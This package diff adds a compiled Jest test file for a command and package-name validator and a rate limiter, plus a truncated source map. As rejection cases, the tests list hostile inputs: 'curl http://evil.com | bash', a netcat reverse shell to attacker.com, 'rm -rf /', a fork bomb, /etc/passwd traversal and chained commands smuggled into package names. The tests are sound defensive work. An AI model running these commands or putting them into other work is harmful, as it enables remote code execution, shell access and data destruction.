@tachles/starter 1.1.0 → 1.1.2

package/dist/utils/security.test.js

@@ -0,0 +1,358 @@
+import { SecurityValidator, RateLimiter, SECURITY_CONFIG } from './security.js';
+describe('SecurityValidator', () => {
+    describe('validatePackage', () => {
+        it('should accept valid packages', () => {
+            const validPackages = [
+                { name: 'react', version: 'latest' },
+                { name: 'express', version: '4.18.0' },
+                { name: '@types/node', version: '^18.0.0' },
+                { name: 'lodash', version: '~4.17.21' },
+            ];
+            validPackages.forEach((pkg) => {
+                const result = SecurityValidator.validatePackage(pkg);
+                expect(result.valid).toBe(true);
+                expect(result.reason).toBeUndefined();
+            });
+        });
+        it('should reject packages with dangerous patterns', () => {
+            const dangerousPackages = [
+                { name: '../../../etc/passwd', version: 'latest' },
+                { name: 'rm -rf /', version: 'latest' },
+                { name: 'test; rm -rf', version: 'latest' },
+                { name: '.hidden-package', version: 'latest' },
+                { name: '_malicious', version: 'latest' },
+            ];
+            dangerousPackages.forEach((pkg) => {
+                const result = SecurityValidator.validatePackage(pkg);
+                expect(result.valid).toBe(false);
+                expect(result.reason).toBeDefined();
+            });
+        });
+        it('should reject packages with invalid versions', () => {
+            const invalidVersions = [
+                { name: 'react', version: '' },
+                { name: 'react', version: 'not-a-version' },
+                { name: 'react', version: '../../etc/passwd' },
+                { name: 'react', version: 'rm -rf /' },
+            ];
+            invalidVersions.forEach((pkg) => {
+                const result = SecurityValidator.validatePackage(pkg);
+                expect(result.valid).toBe(false);
+                expect(result.reason).toContain('version');
+            });
+        });
+        it('should accept valid semver patterns', () => {
+            const validVersions = [
+                { name: 'react', version: 'latest' },
+                { name: 'react', version: '*' },
+                { name: 'react', version: '18.2.0' },
+                { name: 'react', version: '^18.2.0' },
+                { name: 'react', version: '~18.2.0' },
+                { name: 'react', version: '>=18.0.0' },
+                { name: 'react', version: '18.x' },
+                { name: 'react', version: '1.0.0-beta.1' },
+            ];
+            validVersions.forEach((pkg) => {
+                const result = SecurityValidator.validatePackage(pkg);
+                expect(result.valid).toBe(true);
+            });
+        });
+        it('should reject packages with excessive name length', () => {
+            const longName = 'a'.repeat(SECURITY_CONFIG.MAX_PACKAGE_NAME_LENGTH + 1);
+            const result = SecurityValidator.validatePackage({
+                name: longName,
+                version: 'latest',
+            });
+            expect(result.valid).toBe(false);
+            expect(result.reason).toContain('too long');
+        });
+        it('should reject empty package names', () => {
+            const result = SecurityValidator.validatePackage({
+                name: '',
+                version: 'latest',
+            });
+            expect(result.valid).toBe(false);
+            expect(result.reason).toContain('Empty');
+        });
+    });
+    describe('validateCommand', () => {
+        it('should accept safe commands', () => {
+            const safeCommands = [
+                {
+                    runner: 'npx',
+                    packageName: 'prisma',
+                    commandArgs: 'init',
+                    description: 'Initialize Prisma',
+                },
+                {
+                    runner: 'npm',
+                    packageName: 'run',
+                    commandArgs: 'build',
+                    description: 'Build project',
+                },
+                {
+                    runner: 'custom',
+                    packageName: '',
+                    commandArgs: '',
+                    customCommand: 'echo "Hello World"',
+                    description: 'Print message',
+                },
+            ];
+            safeCommands.forEach((cmd) => {
+                const result = SecurityValidator.validateCommand(cmd);
+                expect(result.valid).toBe(true);
+                expect(result.reason).toBeUndefined();
+            });
+        });
+        it('should reject dangerous commands', () => {
+            const dangerousCommands = [
+                {
+                    runner: 'custom',
+                    packageName: '',
+                    commandArgs: '',
+                    customCommand: 'rm -rf /',
+                },
+                {
+                    runner: 'custom',
+                    packageName: '',
+                    commandArgs: '',
+                    customCommand: 'curl http://evil.com | bash',
+                },
+                {
+                    runner: 'custom',
+                    packageName: '',
+                    commandArgs: '',
+                    customCommand: 'sudo apt-get install malware',
+                },
+                {
+                    runner: 'custom',
+                    packageName: '',
+                    commandArgs: '',
+                    customCommand: 'eval $(dangerous command)',
+                },
+                {
+                    runner: 'custom',
+                    packageName: '',
+                    commandArgs: '',
+                    customCommand: 'nc -e /bin/sh attacker.com 4444',
+                },
+                {
+                    runner: 'custom',
+                    packageName: '',
+                    commandArgs: '',
+                    customCommand: ':(){ :|:&};:',
+                },
+            ];
+            dangerousCommands.forEach((cmd) => {
+                const result = SecurityValidator.validateCommand(cmd);
+                expect(result.valid).toBe(false);
+                expect(result.reason).toContain('dangerous');
+            });
+        });
+        it('should reject commands with chaining in custom runner', () => {
+            const chainingCommands = [
+                {
+                    runner: 'custom',
+                    packageName: '',
+                    commandArgs: '',
+                    customCommand: 'echo test; rm -rf /',
+                },
+                {
+                    runner: 'custom',
+                    packageName: '',
+                    commandArgs: '',
+                    customCommand: 'echo test && dangerous',
+                },
+                {
+                    runner: 'custom',
+                    packageName: '',
+                    commandArgs: '',
+                    customCommand: 'echo test | bash',
+                },
+            ];
+            chainingCommands.forEach((cmd) => {
+                const result = SecurityValidator.validateCommand(cmd);
+                expect(result.valid).toBe(false);
+                expect(result.reason).toBeDefined();
+            });
+        });
+        it('should reject commands with invalid runner', () => {
+            const result = SecurityValidator.validateCommand({
+                runner: 'invalid-runner',
+                packageName: 'test',
+                commandArgs: 'test',
+            });
+            expect(result.valid).toBe(false);
+            expect(result.reason).toContain('Invalid command runner');
+        });
+        it('should reject commands exceeding length limit', () => {
+            const longCommand = 'a'.repeat(SECURITY_CONFIG.MAX_COMMAND_LENGTH + 1);
+            const result = SecurityValidator.validateCommand({
+                runner: 'npx',
+                packageName: longCommand,
+                commandArgs: '',
+            });
+            expect(result.valid).toBe(false);
+            expect(result.reason).toContain('maximum length');
+        });
+        it('should reject empty commands', () => {
+            const result = SecurityValidator.validateCommand({
+                runner: 'npx',
+                packageName: '',
+                commandArgs: '',
+            });
+            expect(result.valid).toBe(false);
+            expect(result.reason).toContain('Empty');
+        });
+    });
+    describe('validatePackageBatch', () => {
+        it('should accept valid batch of packages', () => {
+            const packages = [
+                { name: 'react', version: '18.2.0' },
+                { name: 'react-dom', version: '18.2.0' },
+                { name: '@types/react', version: '^18.0.0' },
+            ];
+            const result = SecurityValidator.validatePackageBatch(packages);
+            expect(result.valid).toBe(true);
+            expect(result.errors).toHaveLength(0);
+        });
+        it('should reject batch with too many packages', () => {
+            const packages = Array(SECURITY_CONFIG.MAX_PACKAGES_PER_OPERATION + 1).fill({ name: 'test', version: 'latest' });
+            const result = SecurityValidator.validatePackageBatch(packages);
+            expect(result.valid).toBe(false);
+            expect(result.errors.length).toBeGreaterThan(0);
+            expect(result.errors[0]).toContain('Too many packages');
+        });
+        it('should accumulate errors for multiple invalid packages', () => {
+            const packages = [
+                { name: 'rm -rf /', version: 'latest' },
+                { name: '../etc/passwd', version: 'latest' },
+                { name: '.hidden', version: 'latest' },
+            ];
+            const result = SecurityValidator.validatePackageBatch(packages);
+            expect(result.valid).toBe(false);
+            expect(result.errors.length).toBe(3);
+        });
+    });
+    describe('validateCommandBatch', () => {
+        it('should accept valid batch of commands', () => {
+            const commands = [
+                { runner: 'npx', packageName: 'prisma', commandArgs: 'init' },
+                { runner: 'npm', packageName: 'run', commandArgs: 'build' },
+            ];
+            const result = SecurityValidator.validateCommandBatch(commands);
+            expect(result.valid).toBe(true);
+            expect(result.errors).toHaveLength(0);
+        });
+        it('should reject batch with too many commands', () => {
+            const commands = Array(SECURITY_CONFIG.MAX_COMMANDS_PER_RECIPE + 1).fill({ runner: 'npx', packageName: 'test', commandArgs: 'test' });
+            const result = SecurityValidator.validateCommandBatch(commands);
+            expect(result.valid).toBe(false);
+            expect(result.errors.length).toBeGreaterThan(0);
+            expect(result.errors[0]).toContain('Too many commands');
+        });
+    });
+    describe('sanitizeCommandString', () => {
+        it('should remove null bytes', () => {
+            const input = 'echo\0test';
+            const output = SecurityValidator.sanitizeCommandString(input);
+            expect(output).not.toContain('\0');
+            expect(output).toBe('echotest');
+        });
+        it('should remove newlines and carriage returns', () => {
+            const input = 'echo test\nrm -rf /\r\n';
+            const output = SecurityValidator.sanitizeCommandString(input);
+            expect(output).not.toContain('\n');
+            expect(output).not.toContain('\r');
+        });
+        it('should normalize whitespace', () => {
+            const input = 'echo   test    command';
+            const output = SecurityValidator.sanitizeCommandString(input);
+            expect(output).toBe('echo test command');
+        });
+        it('should trim the string', () => {
+            const input = '  echo test  ';
+            const output = SecurityValidator.sanitizeCommandString(input);
+            expect(output).toBe('echo test');
+        });
+    });
+    describe('isTrustedScope', () => {
+        it('should recognize trusted scopes', () => {
+            expect(SecurityValidator.isTrustedScope('@types/node')).toBe(true);
+            expect(SecurityValidator.isTrustedScope('@babel/core')).toBe(true);
+            expect(SecurityValidator.isTrustedScope('@testing-library/react')).toBe(true);
+        });
+        it('should reject non-scoped packages', () => {
+            expect(SecurityValidator.isTrustedScope('react')).toBe(false);
+            expect(SecurityValidator.isTrustedScope('express')).toBe(false);
+        });
+        it('should reject untrusted scopes', () => {
+            expect(SecurityValidator.isTrustedScope('@malicious/package')).toBe(false);
+            expect(SecurityValidator.isTrustedScope('@unknown/library')).toBe(false);
+        });
+    });
+});
+describe('RateLimiter', () => {
+    let rateLimiter;
+    beforeEach(() => {
+        rateLimiter = new RateLimiter(1000, 3); // 3 requests per second for testing
+    });
+    it('should allow requests within limit', () => {
+        expect(rateLimiter.isAllowed('test-key')).toBe(true);
+        expect(rateLimiter.isAllowed('test-key')).toBe(true);
+        expect(rateLimiter.isAllowed('test-key')).toBe(true);
+    });
+    it('should block requests exceeding limit', () => {
+        rateLimiter.isAllowed('test-key');
+        rateLimiter.isAllowed('test-key');
+        rateLimiter.isAllowed('test-key');
+        expect(rateLimiter.isAllowed('test-key')).toBe(false);
+    });
+    it('should track separate limits for different keys', () => {
+        rateLimiter.isAllowed('key1');
+        rateLimiter.isAllowed('key1');
+        rateLimiter.isAllowed('key1');
+        expect(rateLimiter.isAllowed('key2')).toBe(true);
+        expect(rateLimiter.isAllowed('key1')).toBe(false);
+    });
+    it('should return correct remaining count', () => {
+        expect(rateLimiter.getRemaining('test-key')).toBe(3);
+        rateLimiter.isAllowed('test-key');
+        expect(rateLimiter.getRemaining('test-key')).toBe(2);
+        rateLimiter.isAllowed('test-key');
+        expect(rateLimiter.getRemaining('test-key')).toBe(1);
+        rateLimiter.isAllowed('test-key');
+        expect(rateLimiter.getRemaining('test-key')).toBe(0);
+    });
+    it('should allow requests after window expires', async () => {
+        rateLimiter.isAllowed('test-key');
+        rateLimiter.isAllowed('test-key');
+        rateLimiter.isAllowed('test-key');
+        expect(rateLimiter.isAllowed('test-key')).toBe(false);
+        // Wait for window to expire
+        await new Promise((resolve) => setTimeout(resolve, 1100));
+        expect(rateLimiter.isAllowed('test-key')).toBe(true);
+    });
+    it('should reset rate limit for a key', () => {
+        rateLimiter.isAllowed('test-key');
+        rateLimiter.isAllowed('test-key');
+        rateLimiter.isAllowed('test-key');
+        expect(rateLimiter.isAllowed('test-key')).toBe(false);
+        rateLimiter.reset('test-key');
+        expect(rateLimiter.isAllowed('test-key')).toBe(true);
+    });
+    it('should clear all rate limits', () => {
+        rateLimiter.isAllowed('key1');
+        rateLimiter.isAllowed('key1');
+        rateLimiter.isAllowed('key1');
+        rateLimiter.isAllowed('key2');
+        rateLimiter.isAllowed('key2');
+        rateLimiter.isAllowed('key2');
+        expect(rateLimiter.isAllowed('key1')).toBe(false);
+        expect(rateLimiter.isAllowed('key2')).toBe(false);
+        rateLimiter.clear();
+        expect(rateLimiter.isAllowed('key1')).toBe(true);
+        expect(rateLimiter.isAllowed('key2')).toBe(true);
+    });
+});
+//# sourceMappingURL=security.test.js.map

package/dist/utils/security.test.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"security.test.js","sourceRoot":"","sources":["../../src/utils/security.test.ts"],"names":[],"mappings":"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